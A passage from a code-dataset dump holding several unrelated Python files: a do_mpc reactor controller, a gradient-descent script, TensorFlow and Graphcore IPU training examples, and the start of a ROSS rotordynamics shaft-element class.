:3]/255)], s=3) \n ax.view_init(15, 165)\n \n","sub_path":"3dtiff/3dpython.py","file_name":"3dpython.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532043889","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 30 12:14:28 2021\n\n@author: RileyBallachay\n\"\"\"\nimport sys\nfrom casadi import *\n\n# Add do_mpc to path. This is not necessary if it was installed via pip\n#sys.path.append('../../../')\n\n# Import do_mpc package:\nimport do_mpc\n\nimport matplotlib.pyplot as plt\n\nmodel_type = 'continuous' # either 'discrete' or 'continuous'\nmodel = do_mpc.model.Model(model_type)\n\n# States struct (optimization variables):\nC_a = model.set_variable(var_type='_x', var_name='C_a', shape=(1,1))\nC_b = model.set_variable(var_type='_x', var_name='C_b', shape=(1,1))\nT_R = model.set_variable(var_type='_x', var_name='T_R', shape=(1,1))\nT_K = model.set_variable(var_type='_x', var_name='T_K', shape=(1,1))\n\n# Input struct (optimization variables):\nF = model.set_variable(var_type='_u', var_name='F')\nQ_dot = model.set_variable(var_type='_u', var_name='Q_dot')\n\n# Certain parameters\nK0_ab = 1.287e12 # K0 [h^-1]\nK0_bc = 1.287e12 # K0 [h^-1]\nK0_ad = 9.043e9 # K0 [l/mol.h]\nR_gas = 8.3144621e-3 # Universal gas constant\nE_A_ab = 9758.3*1.00 #* R_gas# [kj/mol]\nE_A_bc = 9758.3*1.00 #* R_gas# [kj/mol]\nE_A_ad = 8560.0*1.0 #* R_gas# [kj/mol]\nH_R_ab = 4.2 # [kj/mol A]\nH_R_bc = -11.0 # [kj/mol B] Exothermic\nH_R_ad = -41.85 # [kj/mol A] Exothermic\nRou = 0.9342 # Density [kg/l]\nCp = 3.01 # Specific Heat capacity [kj/Kg.K]\nCp_k = 2.0 # Coolant heat capacity [kj/kg.k]\nA_R = 0.215 # Area of reactor wall [m^2]\nV_R = 10.01 #0.01 # Volume of reactor [l]\nm_k = 5.0 # Coolant mass[kg]\nT_in = 130.0 # Temp of inflow [Celsius]\nK_w = 4032.0 # [kj/h.m^2.K]\nC_A0 = (5.7+4.5)/2.0*1.0 # Concentration of A in input Upper bound 5.7 lower bound 4.5 [mol/l]\n\n# Uncertain parameters:\nalpha = model.set_variable(var_type='_p', var_name='alpha')\nbeta = model.set_variable(var_type='_p', var_name='beta')\n\n# Auxiliary terms\nK_1 = beta * K0_ab * exp((-E_A_ab)/((T_R+273.15)))\nK_2 = K0_bc * exp((-E_A_bc)/((T_R+273.15)))\nK_3 = K0_ad * exp((-alpha*E_A_ad)/((T_R+273.15)))\n\nT_dif = model.set_expression(expr_name='T_dif', expr=T_R-T_K)\n\nmodel.set_rhs('C_a', F*(C_A0 - C_a) -K_1*C_a - K_3*(C_a**2))\nmodel.set_rhs('C_b', -F*C_b + K_1*C_a - K_2*C_b)\nmodel.set_rhs('T_R', ((K_1*C_a*H_R_ab + K_2*C_b*H_R_bc + K_3*(C_a**2)*H_R_ad)/(-Rou*Cp)) + F*(T_in-T_R) +(((K_w*A_R)*(-T_dif))/(Rou*Cp*V_R)))\nmodel.set_rhs('T_K', (Q_dot + K_w*A_R*(T_dif))/(m_k*Cp_k))\n\n# Build the model\nmodel.setup()\n\nmpc = do_mpc.controller.MPC(model)\n\nsetup_mpc = {\n 'n_horizon': 20,\n 'n_robust': 1,\n 'open_loop': 0,\n 't_step': 0.005,\n 'state_discretization': 'collocation',\n 'collocation_type': 'radau',\n 'collocation_deg': 2,\n 'collocation_ni': 2,\n 'store_full_solution': True,\n # Use MA27 linear solver in ipopt for faster calculations:\n #'nlpsol_opts': {'ipopt.linear_solver': 'MA27'}\n}\n \nmpc.set_param(**setup_mpc)\n \nmpc.scaling['_x', 'T_R'] = 100\nmpc.scaling['_x', 'T_K'] = 100\nmpc.scaling['_u', 'Q_dot'] = 2000\nmpc.scaling['_u', 'F'] = 100\n\n\n\"\"\"The goal of the CSTR is to obtain a mixture with a concentration of 𝐶B,ref=0.6 mol/l. \nAdditionally, we add a penalty on input changes for both control inputs, to obtain a smooth control performance.\"\"\"\n\n_x = model.x\nmterm = (_x['C_b'] - 0.6)**2 # terminal cost\nlterm = (_x['C_b'] - 0.6)**2 # stage cost\n\nmpc.set_objective(mterm=mterm, lterm=lterm)\n\nmpc.set_rterm(F=0.1, Q_dot = 1e-3) # input penalty\n\n# lower bounds of the states\nmpc.bounds['lower', '_x', 'C_a'] = 0.1\nmpc.bounds['lower', '_x', 'C_b'] = 0.1\nmpc.bounds['lower', '_x', 'T_R'] = 50\nmpc.bounds['lower', '_x', 'T_K'] = 50\n\n# upper bounds of the states\nmpc.bounds['upper', '_x', 'C_a'] = 2\nmpc.bounds['upper', '_x', 'C_b'] = 2\nmpc.bounds['upper', '_x', 'T_K'] = 140\n\n# lower bounds of the inputs\nmpc.bounds['lower', '_u', 'F'] = 5\nmpc.bounds['lower', '_u', 'Q_dot'] = -8500\n\n# upper bounds of the inputs\nmpc.bounds['upper', '_u', 'F'] = 100\nmpc.bounds['upper', '_u', 'Q_dot'] = 0.0\n\nmpc.set_nl_cons('T_R', _x['T_R'], ub=140, soft_constraint=True, penalty_term_cons=1e2)\n\nalpha_var = np.array([1., 1.05, 0.95])\nbeta_var = np.array([1., 1.1, 0.9])\n\nmpc.set_uncertainty_values(alpha = alpha_var, beta = beta_var)\n\nmpc.setup()\n\nestimator = do_mpc.estimator.StateFeedback(model)\n\nsimulator = do_mpc.simulator.Simulator(model)\n\nparams_simulator = {\n 'integration_tool': 'cvodes',\n 'abstol': 1e-10,\n 'reltol': 1e-10,\n 't_step': 0.005\n}\n\nsimulator.set_param(**params_simulator)\n\np_num = simulator.get_p_template()\ntvp_num = simulator.get_tvp_template()\n\n# function for time-varying parameters\ndef tvp_fun(t_now):\n return tvp_num\n\n# uncertain parameters\np_num['alpha'] = 1\np_num['beta'] = 1\ndef p_fun(t_now):\n return p_num\n\nsimulator.set_tvp_fun(tvp_fun)\nsimulator.set_p_fun(p_fun)\n\nsimulator.setup()\n\n# Set the initial state of mpc, simulator and estimator:\nC_a_0 = 0.8 # This is the initial concentration inside the tank [mol/l]\nC_b_0 = 0.5 # This is the controlled variable [mol/l]\nT_R_0 = 134.14 #[C]\nT_K_0 = 130.0 #[C]\nx0 = np.array([C_a_0, C_b_0, T_R_0, T_K_0]).reshape(-1,1)\n\nmpc.x0 = x0\nsimulator.x0 = x0\nestimator.x0 = x0\n\nmpc.set_initial_guess()\n\n##capture\nfor k in range(50):\n u0 = mpc.make_step(x0)\n y_next = simulator.make_step(u0)\n x0 = estimator.make_step(y_next)\n \nmpc_graphics = do_mpc.graphics.Graphics(mpc.data) \n\nfrom matplotlib import rcParams\nrcParams['axes.grid'] = True\nrcParams['font.size'] = 18\n\nfig, ax = plt.subplots(5, sharex=True, figsize=(16,12))\n# Configure plot:\nmpc_graphics.add_line(var_type='_x', var_name='C_a', axis=ax[0])\nmpc_graphics.add_line(var_type='_x', var_name='C_b', axis=ax[0])\nmpc_graphics.add_line(var_type='_x', var_name='T_R', axis=ax[1])\nmpc_graphics.add_line(var_type='_x', var_name='T_K', axis=ax[1])\nmpc_graphics.add_line(var_type='_aux', var_name='T_dif', axis=ax[2])\nmpc_graphics.add_line(var_type='_u', var_name='Q_dot', axis=ax[3])\nmpc_graphics.add_line(var_type='_u', var_name='F', axis=ax[4])\nax[0].set_ylabel('c [mol/l]')\nax[1].set_ylabel('T [K]')\nax[2].set_ylabel('$\\Delta$ T [K]')\nax[3].set_ylabel('Q [kW]')\nax[4].set_ylabel('Flow [l/h]')\nax[4].set_xlabel('time [h]')\n\n# Update properties for all prediction lines:\nfor line_i in mpc_graphics.pred_lines.full:\n line_i.set_linewidth(2)\n# Highlight nominal case:\nfor line_i in np.sum(mpc_graphics.pred_lines['_x', :, :,0]):\n line_i.set_linewidth(5)\nfor line_i in np.sum(mpc_graphics.pred_lines['_u', :, :,0]):\n line_i.set_linewidth(5)\nfor line_i in np.sum(mpc_graphics.pred_lines['_aux', :, :,0]):\n line_i.set_linewidth(5)\n\n# Add labels\nlabel_lines = mpc_graphics.result_lines['_x', 'C_a']+mpc_graphics.result_lines['_x', 'C_b']\nax[0].legend(label_lines, ['C_a', 'C_b'])\nlabel_lines = mpc_graphics.result_lines['_x', 'T_R']+mpc_graphics.result_lines['_x', 'T_K']\nax[1].legend(label_lines, ['T_R', 'T_K'])\n\nfig.align_ylabels()\n\nfrom matplotlib.animation import FuncAnimation, ImageMagickWriter\n\ndef update(t_ind):\n print('Writing frame: {}.'.format(t_ind), end='\\r')\n mpc_graphics.plot_results(t_ind=t_ind)\n mpc_graphics.plot_predictions(t_ind=t_ind)\n mpc_graphics.reset_axes()\n lines = mpc_graphics.result_lines.full\n return lines\n\nn_steps = mpc.data['_time'].shape[0]\n\n\nanim = FuncAnimation(fig, update, frames=n_steps, blit=False)\n\ngif_writer = ImageMagickWriter(fps=5)\nanim.save('anim_CSTR.gif', writer=\"imagemagick\")\n\n","sub_path":"src/MPC.py","file_name":"MPC.py","file_ext":"py","file_size_in_byte":7316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"510231319","text":"import numpy as np\r\n\r\ndef Cost_fn (theta_0, theta_1, training_data ):\r\n E=0\r\n for i in range (0,len(training_data)):\r\n x = training_data[i][0]\r\n y = training_data[i][1]\r\n h = theta_0 + (theta_1*x)\r\n E = E + (h - y)**2\r\n m = len(training_data)\r\n E = E/(2*m)\r\n \r\n return E\r\n\r\ndef derivative (theta_0,theta_1,training_data,alpha):\r\n deriv_0 = 0\r\n deriv_1 = 0\r\n for i in range (len(training_data)):\r\n x = training_data[i][0]\r\n y = training_data[i][1]\r\n h = theta_0 + (theta_1 * x)\r\n deriv_0 = deriv_0 + (h - y)\r\n deriv_1 = deriv_1 + ((h - y) * x)\r\n \r\n m = len(training_data)\r\n theta_0 = theta_0 - (alpha * deriv_0 / m)\r\n theta_1 = theta_1 - (alpha * deriv_1 / m)\r\n \r\n return theta_0,theta_1\r\n \r\n \r\ndef gradient (theta_0,theta_1,training_data,alpha, itterations):\r\n \r\n for i in range (itterations):\r\n theta_0,theta_1 = derivative (theta_0,theta_1,training_data,alpha)\r\n \r\n return theta_0,theta_1\r\n \r\n\r\ndata = np.genfromtxt(\"data.csv\", delimiter=\",\") \r\n\r\nlearning_rate = 0.0001\r\nno_of_itterations = 500\r\ninit_theta_0 = 0\r\ninit_theta_1 = 0\r\n\r\ninit_cost = Cost_fn (init_theta_0, init_theta_1, data)\r\ntheta_0,theta_1 = gradient (init_theta_0, init_theta_1, data, learning_rate,no_of_itterations)\r\nfinal_cost = Cost_fn(theta_0,theta_1, data)\r\n\r\nprint (len(data),\"samples of data, with \",init_theta_0,\",\",init_theta_1, \"start initial values for thetas has the initial cost: \", init_cost,\". After \",no_of_itterations, \" itterations and with \",learning_rate,\" learning rate, the final cost is \",final_cost)\r\n","sub_path":"Alzahraaelsallakh_Gradient descent.py","file_name":"Alzahraaelsallakh_Gradient descent.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"628730469","text":"import tensorflow as tf\r\nimport os\r\nimport sys\r\nsys.path.insert(0, './')\r\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\r\nfrom solver import *\r\n\r\nflags = tf.app.flags\r\n\r\ndef file_len(fname):\r\n with open(fname) as f:\r\n for i, l in enumerate(f):\r\n pass\r\n return i + 1\r\n\r\nif not os.path.exists('../result'):\r\n\tos.mkdir('../result')\r\nif not os.path.exists('../result/prsr'):\r\n\tos.mkdir('../result/prsr')\r\nif not os.path.exists('../result/prsr/models'):\r\n\tos.mkdir('../result/prsr/models')\r\nif not os.path.exists('../result/prsr/samples'):\r\n\tos.mkdir('../result/prsr/samples')\r\nif not os.path.exists('../data/pxl_imgs'):\r\n\tos.mkdir('../data/pxl_imgs')\r\n\r\n#solver\r\nflags.DEFINE_string(\"train_dir\", \"../result/prsr/models\", \"trained model save path\")\r\nflags.DEFINE_string(\"samples_dir\", \"../result/prsr/samples\", \"sampled images save path\")\r\nflags.DEFINE_string(\"test_dir\", \"../data/pxl_imgs\", \"tested images save path\")\r\n\r\nflags.DEFINE_string(\"train_imgs_path\", \"../data/train.txt\", \"images list file path\")\r\nflags.DEFINE_string(\"test_imgs_path\", \"../data/test.txt\", \"images list file path\")\r\n\r\nflags.DEFINE_boolean(\"use_gpu\", True, \"whether to use gpu for training\")\r\nflags.DEFINE_integer(\"device_id\", 0, \"gpu device id\")\r\n\r\nflags.DEFINE_integer(\"num_epoch\", 320, \"train epoch num\")\r\nflags.DEFINE_integer(\"batch_size\", 32, \"batch_size\")\r\n\r\n# print(\"size of batch:\",flags.FLAGS.batch_size)\r\n\r\ndata_file = \"../data/train.txt\"\r\ns = file_len(data_file)\r\nflags.DEFINE_integer(\"file_length\", s, \"file_length\")\r\n# print(\"number of images for training: \", s)\r\n# flags.DEFINE_integer(\"dataset_size\", s, \"size of dataset\")\r\n\r\nflags.DEFINE_integer(\"size_hr\", 32, \"size of high resolution images\")\r\nflags.DEFINE_integer(\"size_lr\", 8, \"size of low resolution image\")\r\n\r\nflags.DEFINE_float(\"learning_rate\", 4e-4, \"learning rate\")\r\n\r\nconf = flags.FLAGS\r\n\r\n\r\ndef main(_):\r\n\tsolver = Solver()\r\n\t# init_op = tf.initialize_all_variables()\r\n\t# sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True, log_device_placement=True))\r\n\t# sess.run(init_op) \t\r\n\tsolver.train()\r\n\r\nif __name__ == '__main__':\r\n\r\n \ttf.app.run()\r\n","sub_path":"temp_regu_nets/prsr/tools/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"378531127","text":"# Copyright (c) 2020 Graphcore Ltd. All rights reserved.\n# All contributions by François Chollet:\n# Copyright (c) 2015 - 2019, François Chollet.\n# All rights reserved.\n#\n# All contributions by Google:\n# Copyright (c) 2015 - 2019, Google, Inc.\n# All rights reserved.\n#\n# All contributions by Microsoft:\n# Copyright (c) 2017 - 2019, Microsoft, Inc.\n# All rights reserved.\n#\n# All other contributions:\n# Copyright (c) 2015 - 2019, the respective contributors.\n# All rights reserved.\n#\n# Each contributor holds copyright over their respective contributions.\n# The project versioning (Git) records all such contribution source information\n#\n# See https://github.com/keras-team/keras/blob/1a3ee8441933fc007be6b2beb47af67998d50737/examples/cifar10_cnn.py\nimport argparse\nimport time\n\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.layers import (Activation, Conv2D, Dense, Dropout,\n Flatten, MaxPooling2D)\nfrom tensorflow.python import ipu\nfrom tensorflow.python.ipu.ipu_session_run_hooks import IPULoggingTensorHook\n\nNUM_CLASSES = 10\nSEED = 42\n\nipu.utils.reset_ipu_seed(SEED)\nnp.random.seed(SEED)\n\n\ndef model_fn(features, labels, mode, params):\n \"\"\"A simple CNN based on\n https://github.com/keras-team/keras/blob/1a3ee8441933fc007be6b2beb47af67998d50737/examples/cifar10_cnn.py\"\"\"\n\n model = Sequential()\n model.add(Conv2D(32, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(Conv2D(32, (3, 3)))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(Conv2D(64, (3, 3)))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(512))\n model.add(Activation(\"relu\"))\n model.add(Dropout(0.5))\n model.add(Dense(NUM_CLASSES))\n\n logits = model(features, training=mode == tf.estimator.ModeKeys.TRAIN)\n\n loss = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n\n if mode == tf.estimator.ModeKeys.EVAL:\n predictions = tf.argmax(input=logits, axis=-1)\n eval_metric_ops = {\n \"accuracy\": tf.metrics.accuracy(labels=labels,\n predictions=predictions),\n }\n return tf.estimator.EstimatorSpec(mode,\n loss=loss,\n eval_metric_ops=eval_metric_ops)\n elif mode == tf.estimator.ModeKeys.TRAIN:\n # In a single device loop, the IPU executes n batches without returning\n # to the host in between. Each batch flows through the model_fn\n # defined here, causing all tensors in this graph to have values.\n # Any of these values can be logged to the screen using an\n # IPULoggingTensorHook and its 'log' method.\n loss_logging_hook = IPULoggingTensorHook(\n # As the IPUEstimator executes device loops, values will accrue in\n # the hook's outfeed. To only ever store and print the last accrued\n # value, use LoggingMode.LAST. To store and print all values accrued\n # between logs, use LoggingMode.ALL.\n # Here, we average the ALL values.\n logging_mode=IPULoggingTensorHook.LoggingMode.ALL,\n formatter=lambda dct: ' '.join(\n {f\" {name} = {np.mean(val):.3f}\" for name, val in dct.items()}\n ),\n # The frequency of logging does not have to align with the frequency\n # of device loops. However note that, while outfeeds can\n # theoretically be concurrently enqueued and dequeued, Estimators\n # sequentially interleave calls to device loops and hooks, therefore\n # the logging frequency is bounded below by the device loop\n # frequency.\n every_n_secs=params[\"log_interval\"],\n )\n log_loss = loss_logging_hook.log(loss)\n optimizer = tf.train.GradientDescentOptimizer(params[\"learning_rate\"])\n train_op = optimizer.minimize(loss=loss)\n # The logging operation must be forced to be part of the graph's\n # control flow, similar to 'tf.print'\n train_op = tf.group([train_op, log_loss])\n # Add the logging hook to the spec's training_hooks\n return tf.estimator.EstimatorSpec(mode=mode,\n loss=loss,\n train_op=train_op,\n training_hooks=[loss_logging_hook])\n else:\n raise NotImplementedError(mode)\n\n\ndef create_ipu_estimator(args):\n cfg = ipu.config.IPUConfig()\n cfg.auto_select_ipus = 1\n\n ipu_run_config = ipu.ipu_run_config.IPURunConfig(\n iterations_per_loop=args.batches_per_step,\n ipu_options=cfg\n )\n\n run_config = ipu.ipu_run_config.RunConfig(\n ipu_run_config=ipu_run_config,\n # Turn off default Estimator logging\n log_step_count_steps=None,\n save_summary_steps=args.summary_interval,\n model_dir=args.model_dir,\n tf_random_seed=SEED\n )\n\n return ipu.ipu_estimator.IPUEstimator(\n config=run_config,\n model_fn=model_fn,\n params={\"learning_rate\": args.learning_rate,\n \"log_interval\": args.log_interval},\n )\n\n\ndef train(ipu_estimator, args, x_train, y_train):\n \"\"\"\n Train a model on IPU and save checkpoints to the given `args.model_dir`.\n \"\"\"\n def input_fn():\n # If using Dataset.from_tensor_slices, the data will be embedded\n # into the graph as constants, which makes the training graph very\n # large and impractical. So use Dataset.from_generator here instead.\n\n def generator(): return zip(x_train, y_train)\n types = (x_train.dtype, y_train.dtype)\n shapes = (x_train.shape[1:], y_train.shape[1:])\n\n dataset = tf.data.Dataset.from_generator(generator, types, shapes)\n dataset = dataset.prefetch(len(x_train)).cache()\n dataset = dataset.repeat()\n dataset = dataset.shuffle(len(x_train), seed=SEED)\n dataset = dataset.batch(args.batch_size, drop_remainder=True)\n\n return dataset\n\n # Training progress is logged as INFO, so enable that logging level\n tf.logging.set_verbosity(tf.logging.INFO)\n\n # To evaluate N epochs each of n data points, with batch size BS\n # do Nn / BS steps.\n num_train_examples = int(args.epochs * len(x_train))\n steps = num_train_examples // args.batch_size\n # IPUEstimator requires no remainder; batches_per_step must divide steps\n steps += (args.batches_per_step - steps % args.batches_per_step)\n\n t0 = time.time()\n ipu_estimator.train(input_fn=input_fn,\n steps=steps)\n t1 = time.time()\n\n duration_seconds = t1 - t0\n print(f\"Took {duration_seconds:.2f} seconds to compile and run\")\n\n\ndef test(ipu_estimator, args, x_test, y_test):\n \"\"\"\n Test the model on IPU by loading weights from the final checkpoint in the\n given `args.model_dir`.\n \"\"\"\n\n def input_fn():\n dataset = tf.data.Dataset.from_tensor_slices((x_test, y_test))\n dataset = dataset.prefetch(len(x_test)).cache()\n dataset = dataset.batch(args.batch_size, drop_remainder=True)\n return dataset\n\n num_test_examples = len(x_test)\n steps = num_test_examples // args.batch_size\n # IPUEstimator requires no remainder; batches_per_step must divide steps\n steps -= steps % args.batches_per_step\n print(f\"Evaluating on {steps * args.batch_size} examples\")\n\n t0 = time.time()\n metrics = ipu_estimator.evaluate(input_fn=input_fn,\n steps=steps)\n t1 = time.time()\n\n test_loss = metrics[\"loss\"]\n test_accuracy = metrics[\"accuracy\"]\n duration_seconds = t1 - t0\n print(\"Test loss: {:g}\".format(test_loss))\n print(\"Test accuracy: {:.2f}%\".format(100 * test_accuracy))\n print(f\"Took {duration_seconds:.2f} seconds to compile and run\")\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"--batch-size\",\n type=int,\n default=32,\n help=\"The batch size.\")\n\n parser.add_argument(\n \"--batches-per-step\",\n type=int,\n default=100,\n help=\"The number of batches per execution loop on IPU.\")\n\n parser.add_argument(\n \"--epochs\",\n type=float,\n default=100,\n help=\"Total number of epochs to train for.\")\n\n parser.add_argument(\n \"--learning-rate\",\n type=float,\n default=0.01,\n help=\"The learning rate used with stochastic gradient descent.\")\n\n parser.add_argument(\n \"--test-only\",\n action=\"store_true\",\n help=\"Skip training and test using latest checkpoint from model_dir.\")\n\n parser.add_argument(\n \"--train-only\",\n action=\"store_true\",\n help=\"Run training only and skip the testing.\"\n )\n\n parser.add_argument(\n \"--log-interval\",\n type=float,\n default=3,\n help=\"Interval at which to log progress (seconds)\")\n\n parser.add_argument(\n \"--summary-interval\",\n type=int,\n default=1,\n help=\"Interval at which to write summaries.\")\n\n parser.add_argument(\n \"--model-dir\",\n help=\"Directory where checkpoints and summaries are stored.\")\n\n parser.add_argument(\n \"--generated-data\",\n action=\"store_true\",\n help=\"Run the model with randomly generated data.\"\n )\n\n return parser.parse_args()\n\n\ndef generate_random_dataset(number_of_samples):\n \"\"\"Returns cifar10 shaped dataset filled with random uint8.\"\"\"\n cifar10_shape = (number_of_samples, 32, 32, 3)\n np.random.seed(0)\n x_data = np.random.randint(1, size=cifar10_shape, dtype=\"uint8\")\n y_data = np.random.randint(1, size=(number_of_samples,), dtype=\"uint8\")\n y_data = np.reshape(y_data, (len(y_data), 1))\n return (x_data, y_data)\n\n\nif __name__ == \"__main__\":\n # Parse args\n args = parse_args()\n\n # Load data\n if args.generated_data:\n train_data = test_data = generate_random_dataset(50000)\n else:\n train_data, test_data = cifar10.load_data()\n\n # Train and test\n def normalise(x, y):\n return x.astype(\"float32\") / 255.0, y.astype(\"int32\")\n\n # Make estimator\n ipu_estimator = create_ipu_estimator(args)\n\n if not args.test_only:\n print(\"Training...\")\n x_train, y_train = normalise(*train_data)\n train(ipu_estimator, args, x_train, y_train)\n\n if not args.train_only:\n print(\"Testing...\")\n x_test, y_test = normalise(*test_data)\n test(ipu_estimator, args, x_test, y_test)\n","sub_path":"feature_examples/tensorflow/ipuestimator/ipu_estimator_cnn.py","file_name":"ipu_estimator_cnn.py","file_ext":"py","file_size_in_byte":10890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"355279282","text":"import sys\nimport warnings\nimport os\nfrom pathlib import Path\n\nimport bokeh.palettes as bp\nfrom bokeh.models import HoverTool, ColumnDataSource\nimport matplotlib.patches as mpatches\nimport numpy as np\nimport toml\nimport pandas as pd\nimport xlrd\n\nimport ross\nfrom ross.element import Element\nfrom ross.materials import Material\nfrom ross.materials import steel\n\n__all__ = [\"ShaftElement\"]\n\nbokeh_colors = bp.RdGy[11]\n\n\nclass ShaftElement(Element):\n r\"\"\"A shaft element.\n This class will create a shaft element that may take into\n account shear, rotary inertia an gyroscopic effects.\n The matrices will be defined considering the following local\n coordinate vector:\n .. math:: [x_0, y_0, \\alpha_0, \\beta_0, x_1, y_1, \\alpha_1, \\beta_1]^T\n Where :math:`\\alpha_0` and :math:`\\alpha_1` are the bending on the yz plane and\n :math:`\\beta_0` and :math:`\\beta_1` are the bending on the xz plane.\n Parameters\n ----------\n L : float\n Element length.\n i_d : float\n Inner diameter of the element.\n o_d : float\n Outer diameter of the element.\n material : ross.material\n Shaft material.\n n : int, optional\n Element number (coincident with it's first node).\n If not given, it will be set when the rotor is assembled\n according to the element's position in the list supplied to\n the rotor constructor.\n axial_force : float, optional\n Axial force.\n torque : float, optional\n Torque.\n shear_effects : bool, optional\n Determine if shear effects are taken into account.\n Default is True.\n rotary_inertia : bool, optional\n Determine if rotary_inertia effects are taken into account.\n Default is True.\n gyroscopic : bool, optional\n Determine if gyroscopic effects are taken into account.\n Default is True.\n shear_method_calc : string, optional\n Determines which shear calculation method the user will adopt\n Default is 'cowper'\n Returns\n -------\n Attributes\n ----------\n Poisson : float\n Poisson coefficient for the element.\n A : float\n Element section area.\n Ie : float\n Ie is the second moment of area of the cross section about\n the neutral plane Ie = pi*r**2/4\n phi : float\n Constant that is used according to [1]_ to consider rotary\n inertia and shear effects. If these are not considered phi=0.\n References\n ----------\n .. [1] 'Dynamics of Rotating Machinery' by MI Friswell, JET Penny, SD Garvey\n & AW Lees, published by Cambridge University Press, 2010 pp. 158-166.\n Examples\n --------\n >>> from ross.materials import steel\n >>> le = 0.25\n >>> i_d = 0\n >>> o_d = 0.05\n >>> Euler_Bernoulli_Element = ShaftElement(le, i_d, o_d, steel,\n ... shear_effects=False, rotary_inertia=False)\n >>> Euler_Bernoulli_Element.phi\n 0\n >>> Timoshenko_Element = ShaftElement(le, i_d, o_d, steel,\n ... rotary_inertia=True,\n ... shear_effects=True)\n >>> Timoshenko_Element.phi\n 0.08795566502463055\n \"\"\"\n\n def __init__(\n self,\n L,\n i_d,\n o_d,\n material,\n n=None,\n axial_force=0,\n torque=0,\n shear_effects=True,\n rotary_inertia=True,\n gyroscopic=True,\n shear_method_calc=\"cowper\",\n ):\n\n if type(material) is str:\n os.chdir(Path(os.path.dirname(ross.__file__)))\n self.material = Material.use_material(material)\n else:\n self.material = material\n\n self.shear_effects = shear_effects\n self.rotary_inertia = rotary_inertia\n self.gyroscopic = gyroscopic\n self.axial_force = axial_force\n self.torque = torque\n self._n = n\n self.n_l = n\n self.n_r = None\n if n is not None:\n self.n_r = n + 1\n\n self.shear_method_calc = shear_method_calc\n\n self.L = float(L)\n\n # diameters\n self.i_d = float(i_d)\n self.o_d = float(o_d)\n self.i_d_l = float(i_d)\n self.o_d_l = float(o_d)\n self.i_d_r = float(i_d)\n self.o_d_r = float(o_d)\n self.color = self.material.color\n\n self.A = np.pi * (o_d ** 2 - i_d ** 2) / 4\n self.volume = self.A * self.L\n self.m = self.material.rho * self.volume\n # Ie is the second moment of area of the cross section about\n # the neutral plane Ie = pi*r**2/4\n self.Ie = np.pi * (o_d ** 4 - i_d ** 4) / 64\n phi = 0\n\n # Slenderness ratio of beam elements (G*A*L^2) / (E*I)\n sld = (self.material.G_s * self.A * self.L ** 2) / (self.material.E * self.Ie)\n self.slenderness_ratio = sld\n\n # picking a method to calculate the shear coefficient\n # List of avaible methods:\n # hutchinson - kappa as per Hutchinson (2001)\n # cowper - kappa as per Cowper (1996)\n if shear_effects:\n r = i_d / o_d\n r2 = r * r\n r12 = (1 + r2) ** 2\n if shear_method_calc == \"hutchinson\":\n # Shear coefficient (phi)\n # kappa as per Hutchinson (2001)\n # fmt: off\n kappa = 6*r12*((1+self.material.Poisson)/\n ((r12*(7 + 12*self.material.Poisson + 4*self.material.Poisson**2) +\n 4*r2*(5 + 6*self.material.Poisson + 2*self.material.Poisson**2))))\n # fmt: on\n elif shear_method_calc == \"cowper\":\n # kappa as per Cowper (1996)\n # fmt: off\n kappa = 6 * r12 * (\n (1 + self.material.Poisson)\n / (r12 * (7 + 6 * self.material.Poisson) + r2 * (20 + 12 * self.material.Poisson))\n )\n # fmt: on\n else:\n raise Warning(\n \"This method of calculating shear coefficients is not implemented. See guide for futher informations.\"\n )\n\n # fmt: off\n phi = 12 * self.material.E * self.Ie / (self.material.G_s * kappa * self.A * L ** 2)\n # fmt: on\n\n self.phi = phi\n\n def __eq__(self, other):\n if self.__dict__ == other.__dict__:\n return True\n else:\n return False\n\n def save(self, file_name):\n data = self.load_data(file_name)\n data[\"ShaftElement\"][str(self.n)] = {\n \"L\": self.L,\n \"i_d\": self.i_d,\n \"o_d\": self.o_d,\n \"material\": self.material.name,\n \"n\": self.n,\n \"axial_force\": self.axial_force,\n \"torque\": self.torque,\n \"shear_effects\": self.shear_effects,\n \"rotary_inertia\": self.rotary_inertia,\n \"gyroscopic\": self.gyroscopic,\n \"shear_method_calc\": self.shear_method_calc,\n }\n self.dump_data(data, file_name)\n\n @staticmethod\n def load(file_name=\"ShaftElement\"):\n shaft_elements = []\n with open(\"ShaftElement.toml\", \"r\") as f:\n shaft_elements_dict = toml.load(f)\n for element in shaft_elements_dict[\"ShaftElement\"]:\n shaft_elements.append(\n ShaftElement(**shaft_elements_dict[\"ShaftElement\"][element])\n )\n return shaft_elements\n\n @classmethod\n def from_table(cls, file, sheet=\"Simple\"):\n \"\"\"Instantiate one or more shafts using inputs from a table, either excel or csv.\n Parameters\n ----------\n file: str\n Path to the file containing the shaft parameters.\n sheet: str, optional\n Describes the kind of sheet the function should expect:\n Simple: The input table should contain a header with column names equal\n to parameter names in the ShaftElement class, except for\n shear_effects, rotary_inertia, gyroscopic, and shear_method_calc.\n Model: The sheet must follow the expected format. The function will look\n for the parameters according to this format, in the positions they are supposed\n to be found. Headers should be in rows 4 and 20, just before parameters.\n Returns\n -------\n shaft : list\n A list of shaft 